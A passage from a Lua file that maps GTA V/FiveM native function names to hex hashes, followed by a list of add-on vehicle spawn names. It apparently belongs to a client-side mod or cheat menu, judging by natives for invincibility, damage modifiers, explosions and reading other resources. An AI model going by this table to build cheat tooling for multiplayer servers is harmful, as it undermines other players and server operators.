['PlayerId'] = '0x4F8644AF03D0E0D6',
['RequestModel'] = '0x963D27A58DF860AC',
['HasModelLoaded'] = '0x98A4EB5D89A0C952',
['ClonePedToTarget'] = '0xE952D6431689AD9A',
['SetPlayerModel'] = '0x00A1CADD00108836',
['ShowLineUnderWall'] = '0x61F95E5BB3E0A8C6',
['SelectPed'] = '0x1216E0BFA72CC703',
['Vdist'] = '0x2A488C176D52CCA5',
['GetFinalRenderedCamCoord'] = '0xA200EB1EE790F448',
['SetModelAsNoLongerNeeded'] = '0xE532F5D78798DAAB',
['SetPedHeadBlendData'] = '0x9414E18B9434C2FE',
['SetPedHeadOverlay'] = '0x48F44967FA05CC1E',
['SetPedHeadOverlayColor'] = '0x497BF74A7B9CB952',
['SetPedComponentVariation'] = '0x262B14F48D29DE80',
['SetPedHairColor'] = '0x4CFFC65454C93A49',
['SetPedPropIndex'] = '0x93376B65A266EB5F',
['SetPedDefaultComponentVariation'] = '0x45EEE61580806D63',
['CreateCam'] = '0xC3981DCE61D9E13F',
['RenderScriptCams'] = '0x07E5B515DB0636FC',
['SetCamActive'] = '0x026FB97D0A425F84',
['SetFocusEntity'] = '0x198F77705FA0931D',
['SetFocusArea'] = '0xBB7454BAFF08FE25',
['GetControlNormal'] = '0xEC3C9B8D5327B563',
['ClearAllHelpMessages'] = '0x6178F68A87A4D3A0',
['GetDisabledControlNormal'] = '0x11E65974A982637C',
['GetEntityRotation'] = '0xAFBD61CC738D9EB9',
['SetCamRot'] = '0x85973643155D0B07',
['GetGroundZFor_3dCoord'] = '0xC906A7DAB05C8D2B',
['GetEntityBoneIndexByName'] = '0xFB71170B7E76ACBA',
['GetOffsetFromEntityInWorldCoords'] = '0x1899F328B0E12848',
['RequestTaskMoveNetworkStateTransition'] = '0xD01015C7316AE176',
['IsPedInjured'] = '0x84A2DD9AC37C35C1',
['SetCamCoord'] = '0x4D41783FB745E42E',
['ClearFocus'] = '0x31B73D1EA9F01DA2',
['AddTextEntry'] = '0x32ca01c3',
['DisplayOnscreenKeyboard'] = '0x00DC833F2568DBF6',
['UpdateOnscreenKeyboard'] = '0x0CF2B696BBF945AE',
['GetOnscreenKeyboardResult'] = '0x8362B09B91893647',
['EnableAllControlActions'] = '0xA5FFE9B05F199DE7',
['GetActivePlayers'] = '0xCF143FB9',
['GetPlayerServerId'] = '0x4d97bcc7',
['GetPlayerName'] = '0x6D0DE6A7B5DA71F8',
['DestroyCam'] = '0x865908C81A2C22E9',
['SetVehicleSiren'] = '0xF4924635A19EB37D',
['TriggerSiren'] = '0x66C3FB05206041BA',
['ClearTimecycleModifier'] = '0x0F07E7745A236711',
['IsModelValid'] = '0xC0296A2EDF545E92',
['IsModelAVehicle'] = '0x19AAC8F07BFEC53E',
['CreateVehicle'] = '0xAF35D0D2583051B0',
['SetPedIntoVehicle'] = '0xF75B0D629E1C063D',
['CreateObject'] = '0x509D5878EB39E842',
['ShootSingleBulletBetweenCoords'] = '0x867654CBC7606F2C',
['RequestNamedPtfxAsset'] = '0xB80D8756B4668AB6',
['HasNamedPtfxAssetLoaded'] = '0x8702416E512EC454',
['UseParticleFxAsset'] = '0x6C38AF3693A69A91',
['StartNetworkedParticleFxNonLoopedAtCoord'] = '0xF56B8137DF10135D',
['AttachEntityToEntity'] = '0x6B9BBD38AB0796DF',
['GetPedBoneIndex'] = '0x3F428D08BE5AAE31',
['IsPedInAnyVehicle'] = '0x997ABD671D25CA0B',
['GetVehiclePedIsUsing'] = '0x6094AD011A2EA87D',
['GetVehicleMaxNumberOfPassengers'] = '0xA7C4F2C6E744A550',
['IsVehicleSeatFree'] = '0x22AC59A870E6A669',
['GetVehiclePedIsIn'] = '0x9A9112A0FE9A4713',
['SetCamFov'] = '0xB13C14F66A00D047',
['DisablePlayerFiring'] = '0x5E6CC07646BBEAB8',
['ClearPedTasks'] = '0xE1EF3C1216AFF2CD',
['ClearPedTasksImmediately'] = '0xAAA34F8A7CB32098',
['CreatePed'] = '0xD49F9B0955C367DE',
['FreezeEntityPosition'] = '0x428CA6DBD1094446',
['SetExtraTimecycleModifier'] = '0x5096FD9CCB49056D',
['ClearExtraTimecycleModifier'] = '0x92CCC17A7A2285DA',
['ForceSocialClubUpdate'] = '0xEB6891F03362FB12',
['RestartGame'] = '0xE574A662ACAEFBB1',
['AddRope'] = '0xE832D760399EB220',
['SetPedCanRagdoll'] = '0xB128377056A54E2A',
['ClearPedSecondaryTask'] = '0x176CECF6F920D707',
['TaskSetBlockingOfNonTemporaryEvents'] = '0x90D2156198831D69',
['SetPedFleeAttributes'] = '0x70A2D1137C8ED7C9',
['SetPedCombatAttributes'] = '0x9F7794730795E019',
['SetPedSeeingRange'] = '0xF29CF591C4BF6CEE',
['SetPedHearingRange'] = '0x33A8F7F7D5F7F33C',
['SetPedAlertness'] = '0xDBA71115ED9941A6',
['SetPedKeepTask'] = '0x971D38760FBC02EF',
['IsDisabledControlJustPressed'] = '0x91AEF906BCA88877',
['IsDisabledControlReleased'] = '0xFB6C4072E9A32E92',
['SetVehicleModKit'] = '0x1F2AA07F00B3217A',
['GetNumVehicleMods'] = '0xE38E9162A2500646',
['GetModTextLabel'] = '0x8935624F8C5592CC',
['GetLabelText'] = '0x7B5280EBA9840C72',
['SetVehicleMod'] = '0x6AF0636DDEDCB6DD',
['GetCurrentServerEndpoint'] = '0xEA11BFBA',
['ToggleVehicleMod'] = '0x2A1F4F37F95BAD08',
['SetVehicleGravityAmount'] = '0x1a963e58',
['SetVehicleForwardSpeed'] = '0xAB54A438726D25D5',
['SetVehicleNumberPlateText'] = '0x95A88F0B409CDA47',
['DoesEntityExist'] = '0x7239B21A38F536BA',
['GetVehicleColours'] = '0xA19435F193E081AC',
['GetVehicleExtraColours'] = '0x3BC4245933A166F7',
['DoedynamictraExist'] = '0x1262D55792428154',
['IsVehicleExtraTurnedOn'] = '0xD2E6822DBFD6C8BD',
['GetEntityModel'] = '0x9F47B058362C84B5',
['GetVehicleWheelType'] = '0xB3ED1BFB4BE636DC',
['NetworkOverrideClockTime'] = '0xE679E3E06E363892',
['TaskJump'] = '0x0AE4086104E067B1',
['DrawMarker'] = '0x28477EC23D892089',
['LoadResourceFile'] = '0x76A9EE1F',
['GetNumResourceMetadata'] = '0x776E864',
['GetResourceMetadata'] = '0x964BAB1D',
['DeletePed'] = '0x9614299DCB53E54B',
['DeleteObject'] = '0x539E0AE3E6634B9F',
['DeleteVehicle'] = '0xEA386986E786A54F',
['GetVehicleWindowTint'] = '0x0EE21293DAD47C95',
['IsVehicleNeonLightEnabled'] = '0x8C4B92553E4766A5',
['GetVehicleNeonLightsColour'] = '0x7619EEE8C886757F',
['GetVehicleTyreSmokeColor'] = '0xB635392A4938B3C3',
['HasWeaponAssetLoaded'] = '0x36E353271F0E90EE',
['GetVehicleMod'] = '0x772960298DA26FDB',
['IsToggleModOn'] = '0x84B233A8C8FC8AE7',
['GetVehicleLivery'] = '0x2BB9230590DA5E8A',
['SetVehicleFixed'] = '0x115722B1B9C14C1C',
['SetPedMinGroundTimeForStungun'] = '0xFA0675AB151073FA',
['SetVehicleLightsMode'] = '0x1FD09E7390A74D54',
['SetVehicleLights'] = '0x34E710FF01247C5A',
['SetVehicleBurnout'] = '0xFB8794444A7D60FB',
['SetVehicleEngineHealth'] = '0x45F6D8EEF34ABEF1',
['SetVehicleFuelLevel'] = '0xba970511',
['SetVehicleOilLevel'] = '0x90d1cad1',
['SetVehicleDirtLevel'] = '0x79D3B596FE44EE8B',
['SetVehicleOnGroundProperly'] = '0x49733E92263139D1',
['SetEntityAsMissionEntity'] = '0xAD738C3085FE7E11',
['DeleteVehicle'] = '0xEA386986E786A54F',
['GetVehicleClass'] = '0x29439776AAA00A62',
['SetVehicleWheelType'] = '0x487EB21CC7295BA1',
['SetVehicleExtraColours'] = '0x2036F561ADD12E33',
['SetVehicleExtra'] = '0x7EE3A3C5E4A40CC9',
['SetTimeScale'] = '0x1D408577D440E81E',
['ReplaceHudColourWithRgba'] = '0xF314CF4F0211894E',
['SetVehicleColours'] = '0x4F1D4BE3A7F24601',
['SetVehicleNeonLightEnabled'] = '0x2AA720E4287BF269',
['SetVehicleNeonLightsColour'] = '0x8E0A582209A62695',
['SetVehicleWindowTint'] = '0x57C51E6BAD752696',
['IsWeaponValid'] = '0x937C71165CF334B3',
['GiveWeaponToPed'] = '0xBF0FD6E56C964FCB',
['GetSelectedPedWeapon'] = '0x0A6DB4965674D243',
['NetworkIsInSpectatorMode'] = '0x048746E388762E11',
['SetWeaponDamageModifier'] = '0x4757F00BC6323CFE',
['SetPlayerMeleeWeaponDamageModifier'] = '0x4A3DC7ECCC321032',
['SetPlayerWeaponDamageModifier'] = '0xCE07B9F7817AADA3',
['SetPedInfiniteAmmoClip'] = '0x183DADC6AA953186',
['GetPedLastWeaponImpactCoord'] = '0x6C4D0409BA1A2BC2',
['AddExplosion'] = '0xE3AD2BDBAEE269AC',
['HasPedGotWeaponComponent'] = '0xC593212475FAE340',
['GiveWeaponComponentToPed'] = '0xD966D51AA5B28BB9',
['RemoveWeaponComponentFromPed'] = '0x1E8BE90C74FB4C09',
['AddAmmoToPed'] = '0x78F0424C34306220',
['GetNumResources'] = '0x863F27B',
['GetPlayerInvincible_2'] = '0xF2E3912B',
['GetResourceByFindIndex'] = '0x387246B7',
['GetResourcestate'] = '0x4039b485',
['CreateCamWithParams'] = '0xB51194800B257161',
['GetGameplayCamFov'] = '0x65019750A0324133',
['GetCamCoord'] = '0xBAC038F7459AE5AE',
['GetCamRot'] = '0x7D304C1C955E3E12',
['GetShapeTestResult'] = '0x3D87450E15D98694',
['StartExpensiveSynchronousShapeTestLosProbe'] =
'0x377906D8A31E5586',
['StartShapeTestRay'] = '0x377906D8A31E5586',
['SetHdArea'] = '0xB85F26619073E775',
['DisplayRadar'] = '0xA0EBB943C300E693',
['SetFocusPosAndVel'] = '0xBB7454BAFF08FE25',
['NetworkRequestControlOfEntity'] = '0xB69317BF5E782347',
['SetEntityProofs'] = '0xFAEE099C6F890BB8',
['SetEntityOnlyDamagedByPlayer'] = '0x79F020FF9EDC0748',
['SetEntityCanBeDamaged'] = '0x1760FFA8AB074D66',
['DeleteEntity'] = '0xAE3CBE5BF394C9C9',
['CancelEvent'] = '0xFA29D35D',
['SetEntityCoords'] = '0x06843DA7060A026B',
['SetEntityRotation'] = '0x8524A8B0171D5E07',
['GetGameplayCamRot'] = '0x837765A25378F0BB',
['IsPlayerFreeAiming'] = '0x2E397FD2ECD37C87',
['SetEntityVelocity'] = '0x1C99BB7B6E96D16F',
['NetworkHasControlOfEntity'] = '0x01BF60A500E28887',
['SetNetworkIdCanMigrate'] = '0x299EEB23175895FC',
['NetworkGetNetworkIdFromEntity'] = '0xA11700682F3AD45C',
['GetPedInVehicleSeat'] = '0xBB40DD2270B65366',
['GetEntityHeading'] = '0xE83D4F9BA2A38914',
['RequestScaleformMovie'] = '0x11FE353CF9733E6F',
['HasScaleformMovieLoaded'] = '0x85F01B8D5B90570E',
['PushScaleformMovieFunction'] = '0xF6E48914C7A8694E',
['PushScaleformMovieFunctionParameterBool'] = '0xC58424BA936EB458',
['PopScaleformMovieFunctionVoid'] = '0xC6796A8FFA375E53',
['PushScaleformMovieFunctionParameterInt'] = '0xC3D0841A0CC546A6',
['PushScaleformMovieMethodParameterButtonName'] =
'0xE83A3E3557A56640',
['PushScaleformMovieFunctionParameterString'] =
'0xBA7148484BD90365',
['DrawScaleformMovieFullscreen'] = '0x0DF606929C105BE1',
['GetFirstBlipInfoId'] = '0x1BEDE233E6CD2A1F',
['GetPedArmour'] = '0x9483AF821605B1D8',
['DoesBlipExist'] = '0xA6DB27D19ECBB7DA',
['GetBlipInfoIdCoord'] = '0xFA7C7F0AADF25D09',
['SetPedCoordsKeepVehicle'] = '0x9AFEFF481A85AB2E',
['NetworkRegisterEntityAsNetworked'] = '0x06FAACD625D80CAA',
['VehToNet'] = '0xB4C94523F023419C',
['IsEntityInWater'] = '0xCFB0A0D8EDD145A3',
['SetVehicleEngineOn'] = '0x2497C4717C8B881E',
['SetPedMaxTimeUnderwater'] = '0x6BA428C528D9E522',
['GetPedBoneCoords'] = '0x17C07FC640E86B4E',
['GetDistanceBetweenCoords'] = '0xF1B760881820C952',
['GetScreenCoordFromWorldCoord'] = '0x34E82F05DF2974F5',
['IsEntityDead'] = '0x5F9532F3B5CC2551',
['HasEntityClearLosToEntity'] = '0xFCDFF7B72D23A1AC',
['IsPedShooting'] = '0x34616828CD07F1A1',
['IsEntityOnScreen'] = '0xE659E47AF827484B',
['FindFirstPed'] = '0xfb012961',
['FindNextPed'] = '0xab09b548',
['EndFindPed'] = '0x9615c2ad',
['SetDrawOrigin'] = '0xAA0008F3BBB8F416',
['SetTextProportional'] = '0x038C1F517D7FDCF8',
['SetTextEdge'] = '0x441603240D202FA6',
['SetTextDropshadow'] = '0x465C84BC39F1C351',
['SetTextOutline'] = '0x2513DFB0FB8400FE',
['SetTextEntry'] = '0x25FBB336DF1804CB',
['DrawText'] = '0xCD015E5BB0D96A57',
['ClearDrawOrigin'] = '0xFF0B610F6BE0D7AF',
['AddTextComponentSubstringWebsite'] = '0x94CF4AC034C9C986',
['AddTextComponentString'] = '0x6C188BE134E074AA',
['GetClosestVehicle'] = '0xF73EB622C4F1689B',
['GetGameplayCamRelativeHeading'] = '0x743607648ADD4587',
['GetGameplayCamRelativePitch'] = '0x3A6867B4845BEDA2',
['GetPedPropIndex'] = '0x898CC20EA75BACD8',
['GetPedPropTextureIndex'] = '0xE131A28626F81AB2',
['GetPedDrawableVariation'] = '0x67F3780DD425D4FC',
['GetPedPaletteVariation'] = '0xE3DD5F2A84B42281',
['GetPedTextureVariation'] = '0x04A355E041E004E6',
['RequestAnimDict'] = '0xD3BD40951412FEF6',
['HasAnimDictLoaded'] = '0xD031A9162D01088C',
['TaskPlayAnim'] = '0xEA47FE3719165B94',
['SetPedCurrentWeaponVisible'] = '0x0725A4CCFDED9A70',
['SetPedConfigFlag'] = '0x1913FE4CBF41C463',
['RemoveAnimDict'] = '0xF66A602F829E2A06',
['TaskMoveNetworkByName'] = '0x2D537BA194896636',
['SetTaskMoveNetworkSignalFloat'] = '0xD5BB4025AE449A4E',
['SetTaskMoveNetworkSignalBool'] = '0xB0A6CFD2C69C1088',
['IsTaskMoveNetworkActive'] = '0x921CE12C489C4C41',
['StartShapeTestCapsule'] = '0x28579D1B8F8AAC80',
['GetRaycastResult'] = '0x3D87450E15D98694',
['TriggerScreenblurFadeIn'] = '0xA328A24AAA6B7FDC',
['TriggerScreenblurFadeOut'] = '0xEFACC8AEF94430D5',
['SetNewWaypoint'] = '0xFE43368D2AA4F2FC',
['NetworkIsPlayerActive'] = '0xB8DFD30D6973E135',
['GetBlipFromEntity'] = '0xBC8DBDCA2436F7E8',
['AddBlipForEntity'] = '0x5CDE92C702A8FCE7',
['SetBlipSprite'] = '0xDF735600A4696DAF',
['TaskFollowToOffsetOfEntity'] = '0x304AE42E357B8C7E',
['SetBlipAsFriendly'] = '0x6F6F290102C02AB4',
['SetBlipColour'] = '0x03D7FB09E75D6B7E',
['ShowHeadingIndicatorOnBlip'] = '0x5FBCA48327B914DF',
['GetBlipSprite'] = '0x1FC877464A04FC4F',
['GetEntityHealth'] = '0xEEF059FAD016D209',
['HideNumberOnBlip'] = '0x532CFF637EF80148',
['SetBlipRotation'] = '0xF87683CDF73C3F6E',
['SetBlipNameToPlayerName'] = '0x127DE7B20C60A6A3',
['SetBlipScale'] = '0xD38744167B2FA257',
['IsPauseMenuActive'] = '0xB0034A223497FFCB',
['SetBlipAlpha'] = '0x45FF974EEE1C8734',
['RemoveBlip'] = '0x86A652570E5F25DD',
['GetGameTimer'] = '0x9CD27B0045628463',
['SetEntityAlpha'] = '0x44A0870B7E92D7C0',
['SetEntityLocallyVisible'] = '0x241E289B5C059EDC',
['SetEntityCollision'] = '0x1A9205C1B9EE827F',
['SetTransitionTimecycleModifier'] = '0x3BCF567485E1971C',
['GetDisplayNameFromVehicleModel'] = '0xB215AAC32D25D019',
['SetPedSuffersCriticalHits'] = '0xEBD76F2359F190AC',
['SetWeatherTypeNowPersist'] = '0xED712CA327900C8A',
['IsThisModelABicycle'] = '0xBF94DD42F63BDED2',
['IsThisModelABoat'] = '0x45A9187928F4B9E3',
['IsThisModelAHeli'] = '0xDCE4334788AF94EA',
['IsThisModelACar'] = '0x7F6DB52EEFC96DF8',
['IsThisModelAJetski'] = '0x9537097412CF75FE',
['IsThisModelAPlane'] = '0xA0948AB42D7BA0DE',
['IsThisModelATrain'] = '0xAB935175B22E822B',
['IsThisModelAQuadbike'] = '0x39DAC362EE65FA28',
['IsThisModelAnAmphibiousCar'] = '0x633F6F44A537EBB6',
['IsThisModelAnAmphibiousQuadbike'] = '0xA1A9FC1C76A6730D',
['SetPlayerAngry'] = '0xEA241BB04110F091',
['TaskCombatPed'] = '0xF166E48407BAC484',
['IsPedDeadOrDying'] = '0x3317DEDB88C95038',
['GetCurrentResourceName'] = '0xE5E9EBBB',
['SetFollowPedCamViewMode'] = '0x5A4F9EDF1673F704',
['TaskSmartFleeCoord'] = '0x94587F17E9C365D5',
['SetPedCombatAbility'] = '0xC7622C0D36B2FDA8',
['SetPedCombatMovement'] = '0x4D9CA1009AFBD057',
['SetCombatFloat'] = '0xFF41B4B141ED981C',
['SetPedAccuracy'] = '0x7AEFB85C1D49DEB6',
['SetPedFiringPattern'] = '0x9AC577F5A12AD8A9',
['GetClosestVehicleNodeWithHeading'] = '0xFF071FB798B803B0',
['CreatePedInsideVehicle'] = '0x7DD959874C1FD534',
['TaskVehicleDriveToCoordLongrange'] = '0x158BB33F920D360C',
['GetWeaponDamage'] = '0x3133B907D8B32053',
['FindFirstVehicle'] = '0x15e55694',
['FindNextVehicle'] = '0x8839120d',
['EndFindVehicle'] = '0x9227415a',
['GiveDelayedWeaponToPed'] = '0xB282DC6EBD803C75',
['SetVehicleDoorsLockedForAllPlayers'] = '0xA2F80B8D040727CC',
['SetVehicleDoorsLockedForPlayer'] = '0x517AAF684BB50CD1',
['ModifyVehicleTopSpeed'] = '0x93A3996368C94158',
['SetVehicleCheatPowerIncrease'] = '0xB59E4BD37AE292DB',
['RemoveWeaponFromPed'] = '0x4899CB088EDF59B8',
['DrawLine'] = '0x6B7256074AE34680',
['GetEntityVelocity'] = '0x4805D2B1D8CF94A9',
['ApplyForceToEntity'] = '0xC5F68BE9613E2D18',
['GetGameplayCamCoord'] = '0x14D6F5678D8F1B37',
['GetCurrentPedWeaponEntityIndex'] = '0x3B390A939AF0B5FC',
['SetPedToRagdoll'] = '0xAE99FB955581844A',
['SetPedCanRagdollFromPlayerImpact'] = '0xDF993EE5E90ABA25',
['StatSetInt'] = '0xB3271D7AB655B441',
['SetBlipCoords'] = '0xAE2AF67E9D9AF65D',
['SetBlipCategory'] = '0x234CDD44D996FD9A',
['AddBlipForCoord'] = '0x5A039BB0BCA604B6',
['BeginTextCommandSetBlipName'] = '0xF9113A30DE5C6670',
['EndTextCommandSetBlipName'] = '0xBC38B49BCB83BC9B',
['SetPedCanBeKnockedOffVehicle'] = '0x7A6535691B477C48',
['IsEntityAPed'] = '0x524AC5ECEA15343E',
['GetEntityPlayerIsFreeAimingAt'] = '0x2975C866E6713290',
['SetPedShootsAtCoord'] = '0x96A05E4FB321B1BA',
['IsEntityAVehicle'] = '0x6AC7003FA6E5575E',
['IsEntityAnObject'] = '0x8D68C8FD0FACA94E',
['IsModelAPed'] = '0x75816577FEA6DAD5',
['SetVehicleReduceGrip'] = '0x222FF6A823D122E2',
['SetVehicleDoorsLocked'] = '0xB664292EAECF7FA6',
['TaskVehicleTempAction'] = '0xC429DCEEB339E129',
['RenderFakePickupGlow'] = '0x3430676B11CDF21D',
['ResetEntityAlpha'] = '0x9B1E824FFBB7027A',
['NetworkGetPlayerIndexFromPed'] = '0x6C0E2E0125610278',
['IsPedAPlayer'] = '0x12534C348C6CB68B',
['GetPedSourceOfDeath'] = '0x93C8B64DEB84728C',
['SetPedRandomProps'] = '0xC44AA05345C992C6',
['SetPedRandomComponentVariation'] = '0xC8A9481A01E63C28',
['SetVehicleAlarmTimeLeft'] = '0xc108ee6f',
['GetIsVehicleEngineRunning'] = '0xAE31E7DF9B5B132E',
['SetVehicleUndriveable'] = '0x8ABA6AF54B942B95',
['TaskVehicleDriveToCoord'] = '0xE2A2AA2F659D77A7',
['SetPedCombatRange'] = '0x3C606747B23E497B',
['GetIsTaskActive'] = '0xB0760331C7AA4155',
['GetPlayerFromServerId'] = '0x344ea166',
['PedToNet'] = '0x0EDEC3C276198689',
['TaskVehicleDriveWander'] = '0x480142959D337D00',
['SetEntityHeading'] = '0x8E2530AA8ADA980E',
['TaskWanderStandard'] = '0xBB9CE077274F6A1B',
},
AddonVehs = {
{spawn = "divo", name = "Bugatti Divo"}, {spawn = "latmc", name =
""},
{spawn = "camaro", name = "Camaro"},
{spawn = "brabus500", name = ""}, {spawn = "brabus550", name = ""},
{spawn = "g500", name = "Mercedes G500"}, {spawn = "h2carb", name =
"Ninja H2"},
{spawn = "teslax", name = "Tesla Model X"}, {spawn = "BENTAYGA17",
name = "Bentley Bentayga"},
{spawn = "yz450f", name = "Yamaha YZ450F"}, {spawn = "tmsm", name =
"TM450 Supermoto"},
{spawn = "rmz250", name = "Suzuki RMZ 250"}, {spawn = "WRAITH", name
= "Rolls Royce Wraith"},
{spawn = "URUS", name = "Lamborghini Urus"}, {spawn = "demon", name
= "Dodge Demon"},
{spawn = "BMWI8", name = "BMW i8"}, {spawn = "rrst", name = "Range
Rover Vogue"},
{spawn = "M6F13", name = "BMW M6"}, {spawn = "CHARGER", name =
"Dodge Charger"},
{spawn = "19gt500", name = "Ford Mustang Shelby"}, {spawn = "exor",
name = "Camaro Exorcist"},
{spawn = "SVJ", name = "Lamborghini Aventador SVJ"}, {spawn =
"demonhawk", name = "Demonhawk"},
{spawn = "911", name = "Porsche 911 Turbo"}, {spawn = "GT2RS", name
= "Porsche GT2"},
{spawn = "CONTSS18", name = "Bentley Continental GT"}, {spawn =
"FERRARI812", name = "Ferrari 812"},
{spawn = "BENTAYGA17", name = "Bentley Bentayga"}, {spawn =
"458spc", name = "Ferrari 458"},
{spawn = "63LB", name = "Mercedes CLS 63"}, {spawn = "c63scoupe",
name = "Mercedes C63s"},
{spawn = "MVISIONGT", name = "Mercedes-Benz AMG Vision GT"}, {spawn
= "sv", name = "Lamborghini Aventador SV"},
{spawn = "GTRC", name = "Mercedes-Benz AMG GT-R"}, {spawn = "SENNA",
name = "McLaren Senna"},
{spawn = "C7", name = "Corvette C7"}, {spawn = "LWGTR", name =
"Liberty Walk GTR"},
{spawn = "AR8LB", name = "Audi R8"}, {spawn = "g63mg", name = "G63
Mansory"},
{spawn = "scaldarsi", name = "Maybach Emperor"}, {spawn = "bm8c",
name = "BMW M8 Coupé"},
{spawn = "jes", name = "Koenigsegg Jesko"}, {spawn = "cczl", name =
"Camaro on 32s"},
{spawn = "c8", name = "Corvette C8"}, {spawn = "bentaygam", name =
"Bentayga Mansory"},
{spawn = "mlmansory", name = "Levante Mansory"}, {spawn = "dawn",
name = "Mansory RR Dawn"},
{spawn = "ursa", name = "Porsche Macan"}, {spawn = "gle63c", name =
"GLE Amg"},
{spawn = "sr650fly", name = "Sea Ray 650"}, {spawn = "BMWM8", name =
"BMW M8"},
{spawn = "19S650", name = "Maybach S650"}, {spawn = "amggtsmansory",
name = "AMG GTS Mansory"},
{spawn = "G63AMG6x6", name = "Brabus 6x6"}, {spawn = "qx56", name =
"Infinity QX56"},
{spawn = "vantage", name = "Aston Martin Vantage"}, {spawn =
"svr16", name = "Range Rover Sport"},
{spawn = "x6m", name = "BMW X6M"}, {spawn = "a8lw12", name = "Audi
A8L"},
{spawn = "corvetteZR1", name = "Corvette ZR1"}, {spawn = "720stc",
name = "McLaren 720s"},
{spawn = "TMODEL", name = "Tesla Model3"}, {spawn = "kiagt", name =
"Kia Stinger"},
{spawn = "rs5r", name = "Audi RS5R"}, {spawn = "R8v10", name = "Audi
R8 V10"},
{spawn = "cayenne", name = "Porsche Cayenne Turbo"}, {spawn =
"NISALTIMA", name = "Nissan Altima"},
{spawn = "TR22", name = "Tesla Roadster"}, {spawn = "Mb400", name =
"Mercedes EQC400"},
{spawn = "2020silv", name = "2020 Chevrolet Silverado"}, {spawn =
"foxrossa", name = "Ferrari 512 TR 1991"},
{spawn = "M3E30", name = "BMW E30 M3"}, {spawn = "foxharley2", name
= "Harley Davidson"},
{spawn = "foxharley1", name = "Harley Davidson Slimbob"}, {spawn =
"denalihd", name = "Denali"},
{spawn = "fox600lt", name = "Mclaren 600LT 2020"}, {spawn = "m6x6",
name = "Mercedes 6X6 Geries Brabus AMG"},
{spawn = "foxrover1", name = "Range Rover Evoque 2016"}, {spawn =
"tonkat", name = "Toyota Tonka Hilux"},
{spawn = "kuga", name = "Ford Kuga"}, {spawn = "silvias15", name =
"Nissan Silvia S-15"},
{spawn = "rx7rb", name = "Mazda RX7"}, {spawn = "fto", name =
"Mitsubishi FTO"},
{spawn = "mr2sw20", name = "Toyota MR-2 GT"}, {spawn =
"eclipsegt06", name = "Mitsubishi Eclipse GT"},
{spawn = "SkylineGTR", name = "SKYLINE GTR R34"}, {spawn = "terzo",
name = "Lamborghini Terzo"},
{spawn = "CAN", name = "Can AM"}, {spawn = "2020ss", name = "2020
Chevrolet Camaro"},
{spawn = "rmodveneno", name = "Lamborghini Veneno"}, {spawn =
"gurkha", name = "Gang Insurgent"},
{spawn = "p1", name = "2020 McLaren P1"}, {spawn = "viper", name =
"Viper SRT"},
{spawn = "TypeR17", name = "Civic TypeR"}, {spawn = "sc18", name =
"Lamborghini SC18"},
{spawn = "XJ", name = "Jaguar XJ"}, {spawn = "lp700", name =
"Lamborghini LP700"},
{spawn = "Huracan", name = "Lamborghini Huracan"}, {spawn =
"TESLAPD", name = "Tesla Model"},
{spawn = "S63W222", name = "Mercedes S63"}, {spawn = "foxct", name =
"Tesla Cyber Truck"},
{spawn = "foxsterrato", name = "Lamborghini Sterrato 2020"}, {spawn
= "foxsian", name = "Lamborghini Sian"},
{spawn = "foxevo", name = "Huracan Evo"}, {spawn = "foxsupra", name
= "Toyota Supra GR 2020"},
{spawn = "h3", name = "Hummer 3"}, {spawn = "foxleggera", name =
"Aston Martin DBS"},
{spawn = "rmodi8mlb", name = "BMW i8 Liberty Walk"}, {spawn =
"CORVETTE", name = "C7 Widebody"},
{spawn = "slingshot", name = "slingshot"}, {spawn = "f8rarri", name
= "Ferrari F8"},
{spawn = "forgiato", name = "Hellcat Charger Widebody"}, {spawn =
"ts1", name = "Zenvo TS1"},
{spawn = "jeepg", name = "Jeep Gladiator"}, {spawn = "GRANDGT18",
name = "Porsche Panamera Sport"},
{spawn = "2008f150", name = "2008 F150"}, {spawn = "lccreaper", name
= "LCC Reaper"},
{spawn = "REMOWER", name = "LawnMower"}, {spawn = "EVO10", name =
"Lancer EVO"},
{spawn = "vip8", name = "Dodge Viper"}, {spawn = "ELLCHARG", name =
"Ellie SuperCharged"},
{spawn = "G770", name = "Lumma CLR G770"},{spawn = "IMPALASS2", name
= "Chevrolet Impala 1964"},
{spawn = "fox720s", name = "Mclaren 720s"}, {spawn = "CHIRON", name
= "Police Chiron"},
{spawn = "polp1", name = "Police Mclaren P1"}, {spawn = "AVENTADOR",
name = "Police Aventador"},
{spawn = "Custom", name = "Police R1 Bike"}, {spawn = "CENTENARIO",
name = "Police LP770"},
{spawn = "Mustang", name = "Police Mustang"}, {spawn = "rmodamgc63",
name = "AMG C63"},
{spawn = "audipd", name = "Police Audi"}, {spawn = "MRAP", name =
"Police MRAP"},
{spawn = "CHIRON17", name = "Bugatti Chiron"}, {spawn = "can", name
= "Can AM"},
{spawn = "rmodmustang", name = "Mustang"}, {spawn = "beck", name =
"F1 Type Car"},
{spawn = "bugatti", name = "Bugatti Veyron"}, {spawn = "foxezri",
name = "Ferrari Xezri"},
{spawn = "exgtr", name = "EX GTR"}, {spawn = "f824slw", name =
"Dandogg Car"},
{spawn = "rculi", name = "Rolls Royce Cullinan"}, {spawn =
"raptor150", name = "Raptor F-150"},
{spawn = "rs6c8", name = "Audi RS6"}, {spawn = "ren_clio_5", name =
"Renalt Clio V"},
{spawn = "caprice13", name = "Chevrolet Caprice"}, {spawn =
"elantra07", name = "Hyundai Elantra"},
{spawn = "familiac", name = "Mazda Familia"}, {spawn = "trhawk",
name = "Jeep TrackHawk"},
{spawn = "ramlh20", name = "Dodge Ram Longhorn"}, {spawn = "mach1",
name = "Ford Mustang Mach 1"},
{spawn = "h1", name = "HUMMER H1"}, {spawn = "h2", name = "HUMMER
H2"},
{spawn = "humvee", name = "humvee"}, {spawn = "hummer", name =
"HUMMER H1"},
{spawn = "cbr1000rrr", name = "Honda CBR1000RR"}, {spawn =
"rmodmi8lb", name = "Liberty Walk i8"},
{spawn = "Skyline", name = "Nissan Skyline GTR"}, {spawn =
"boss302", name = "Ford Mustang Boss 302"},
{spawn = "exc530", name = "KTM EXC 530"}, {spawn = '20x5m', name =
"BMW X5M"},
{spawn = 'thekart', name = 'Go Kart'}, {spawn = 'rmodm4', name =
'BMW M4'},
{spawn = 'rmodx6', name = 'BMW X6'}, {spawn = 'x5m', name = 'BMW
X5M'},
{spawn = 'bcps', name = 'Bugatti Chrion'}, {spawn = 'bdivo', name =
'Bugatti Divo'},
{spawn = 'aperta', name = 'Ferrari Laferrari Aperta'}, {spawn =
'f40', name = 'Ferrari F40'},
{spawn = 'eltransit', name = 'Ford Transit'}, {spawn = 'explorer20',
name = 'Ford Explorer'},
{spawn = 'mclarengt', name = 'McLaren GT'}, {spawn = '720s', name =
